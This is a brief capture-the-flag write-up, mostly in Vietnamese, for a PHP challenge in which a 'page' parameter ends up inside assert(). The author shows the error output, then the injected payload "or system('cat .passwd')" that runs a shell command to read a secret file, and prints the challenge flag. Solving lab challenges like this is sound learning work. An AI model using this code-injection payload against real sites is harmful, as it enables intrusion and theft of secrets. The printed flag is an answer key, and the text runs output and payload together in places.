

You will never find out where our secrets are located... ahahaha (Evil laugh)

Giao diện trang web như hình trên. Sau khi đi 1 vòng thì em tìm được trang contact có thể bị khai thác được.

Warning: assert(): Assertion "strpos('includes/...php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!

Ta thử trước với **page=..** thì kết quả hiện như hình trên. Phần input sẽ được thay vào hàm như mô tả. Sau khi tìm hiểu về assert() là một hàm check của PHP. Vì đoạn code này luôn trả về false. Ta có thể lợi dụng để extract thông tin bằng cách thêm or ở sau.

The flag is / Le flag est : x4Ss3rT1ng!Sn0ts4f3A7A1Lx Remember to sanitize all user input! / Pensez à valider toutes les entrées utilisat 'includes/...php', '..') === false or system('cat .passwd');//.php'File does not exist

Mục đích challenge là cat file .passwd. Ta chỉ cần thêm đoạn code system('cat .passwd')